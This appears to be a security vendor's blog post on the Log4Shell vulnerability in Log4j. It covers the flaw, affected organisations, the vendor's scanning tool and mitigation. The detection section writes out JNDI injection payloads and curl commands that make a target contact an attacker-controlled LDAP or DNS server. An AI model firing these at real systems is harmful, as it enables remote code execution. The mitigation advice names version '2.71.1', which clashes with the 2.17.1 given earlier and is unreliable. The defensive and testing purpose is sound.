Log4Shell scanner: detect and exploit Log4j CVE-2021-44228 in your network and web apps

We almost made it to a much-needed holiday break… and then Log4Shell happened.

It may seem like we just can’t have nice things in the infosec community. However, the reality is that we work with complex systems that depend on each other more than any of us is comfortable to accept.

All that’s left to do when you have to deal with a critical vulnerability like the latest Log4j vulnerability (CVSSv3 10.0) is to mobilize your best toolset and timesaving steps. Maximum effort!  

On December 9, 2021, an ongoing attack against CVE-2021-44228 was spotted in the wild. A proof of concept was released right after that and – to the horror of the cybersecurity community – we all saw how insanely easy it is to exploit this vulnerability.

So what makes it such a massive issue? Let’s quickly go over the fundamentals.

What is Log4j?

Log4j is a widely used logging library that a lot of applications and services use and also one of several Java logging frameworks. It‘s part of Apache Logging Services, a project of the Apache Software Foundation.

Log4j is a popular logging library used in Java programming language.

A logger is a piece of software that saves data on a computer. It is used to monitor what is happening, determine if the software runs smoothly, or catch information to help debugging when things go wrong.

— Emy | eq 🌈 (@entropyqueen_) December 11, 2021

Because of its prevalent usage and the low complexity of attacking this vulnerability in Log4j – which also happens to have the highest possible risk level – the premise of a worst-case scenario is laid out.

Log4shell Attack Surface

According to this repository, the following organizations are confirmed as having vulnerable systems impacted by CVE-2021-44228:

• Apple                

• Tencent                

• Steam                

• Twitter                

• Baidu                

• DIDI                

• JD                

• NetEase                

• Cloudflare                

• Amazon                

• Tesla                

• Apache Solr                

• Apache Druid                        

• Apache Struts2                

• IBM Qradar SIEM                

• PaloAlto Panorama                        

• ElasticSearch                

• Ghidra        

• Minecraft                

• PulseSecure                

• UniFi                

• VMWare                

• Blender                

• Google                

• Webex                

• LinkedIn                

How the Log4shell vulnerability works

The root cause of the vulnerability is improper input validation in the JNDI functionality implemented in Apache Log4j <= 2.14.1.

A feature called “message lookup substitution”, which is enabled by default in the vulnerable versions, allows threat actors to load and execute arbitrary Java code from a remote LDAP server.

Also, multiple protocols are supported in the JNDI lookups, including LDAP, LDAPS, DNS, and RMI. Therefore, if an attacker can control the log messages and inject arbitrary code through one of the input parameters or in the HTTP headers, they can create a malicious Java class on a controlled server and force the vulnerable server to use the lookup method to execute this Java class from the LDAP/LDAPS/DNS/RMI server.

Source: Swiss Government CERT

Vulnerable Log4j versions

All Log4j versions before 2.17.1 are affected.

The risk is that a remote unauthenticated attacker can fully compromise the server to steal confidential information, install ransomware, or pivot to the internal network.

How to detect Log4Shell / CVE-2021-44228 in ethical hacking engagements

To detect CVE-2021-44228, you can inject the following payloads: 

LDAP:

${jndi:ldap://<LDAPcontrolledserver>/a} in every parameter or in every HTTP header and then check if the remote logger was accessed.

DNS:

${jndi:dns://${hostName}.<DNScontrolledserver>} in every parameter or in every HTTP header and then check if the remote logger was accessed.

You can use the following loggers: CanaryTokens or Log4shell Tester to establish if your application is vulnerable to CVE-2021-44228. 

For example, if you want to inject the payload in the “X-Api-Version” HTTP header, you can use the following request:

curl <vulnerable_IP_address>:<vulnerabe_port> -H 'X-Api-Version:
${jndi:ldap://<LDAP_controlled_server>/a}
curl <vulnerable_IP_address>:<vulnerabe_port> -H 'X-Api-Version:
${jndi:dns:/${hostName}.<DNS_controlled_server>}

How to detect and exploit CVE-2021-44228 using Pentest-Tools.com

The fastest and no-hassle way to validate that CVE-2021-44228 is exploitable on your target is to use Sniper Automatic Exploiter, the auto-attacker on Pentest-Tools.com.

The tool simulates real-world exploitation and attack techniques automatically:

• It scans for open ports, collecting data about the protocol, type of service, and version

• It fingerprints web services to determine the type of web application running and the tech stack behind it

• It looks for compatible exploits

• It checks if the target is indeed vulnerable – without extracting any data at this stage

• Once it gains RCE, Sniper automatically extracts all the artifacts (current and local users, system information, running processes, network configuration, etc.), which you’ll get in the output report

• It does clean-up, so the target is left unaltered.  

We use LDAP to exploit the Log4Shell vulnerability.

This all happens in a minute – literally – which is a massive gain compared to manual exploitation, especially when you’re pressed for time in a pentest (and when doesn’t that happen?).

Since Sniper does not generate findings, if you would like to populate the Findings page with vulnerabilities, run a Network Vulnerability Scan that includes Sniper’s detection modules by default. We use DNS queries to validate that the vulnerability is present.

How to mitigate CVE-2021-44228

We recommend upgrading the Log4j library to at least version 2.71.1, which fixes this vulnerability and the security issues discovered after the first patch was released.

However, patching is easier said than done for a myriad of reasons of which the infosec community is well aware. We commend incident response teams and specialists across the industry for doing their best to minimize risk and damage!

We’ll be back with updates as we continue to deliver the tools you need to do the best work you can under pressure – whether the systems you take care of are on Earth or in space!

Did you know that Ingenuity, the Mars 2020 Helicopter mission, is powered by Apache Log4j?
https://t.co/gV0uyE1ylk
#Apache #OpenSource #innovation #community #logging #services
pic.twitter.com/aFX9JdquP1

— Apache – The ASF (@TheASF) June 4, 2021

For up-to-date vulnerability guidance for both defenders and offensive security teams, bookmark CISA’s advisory.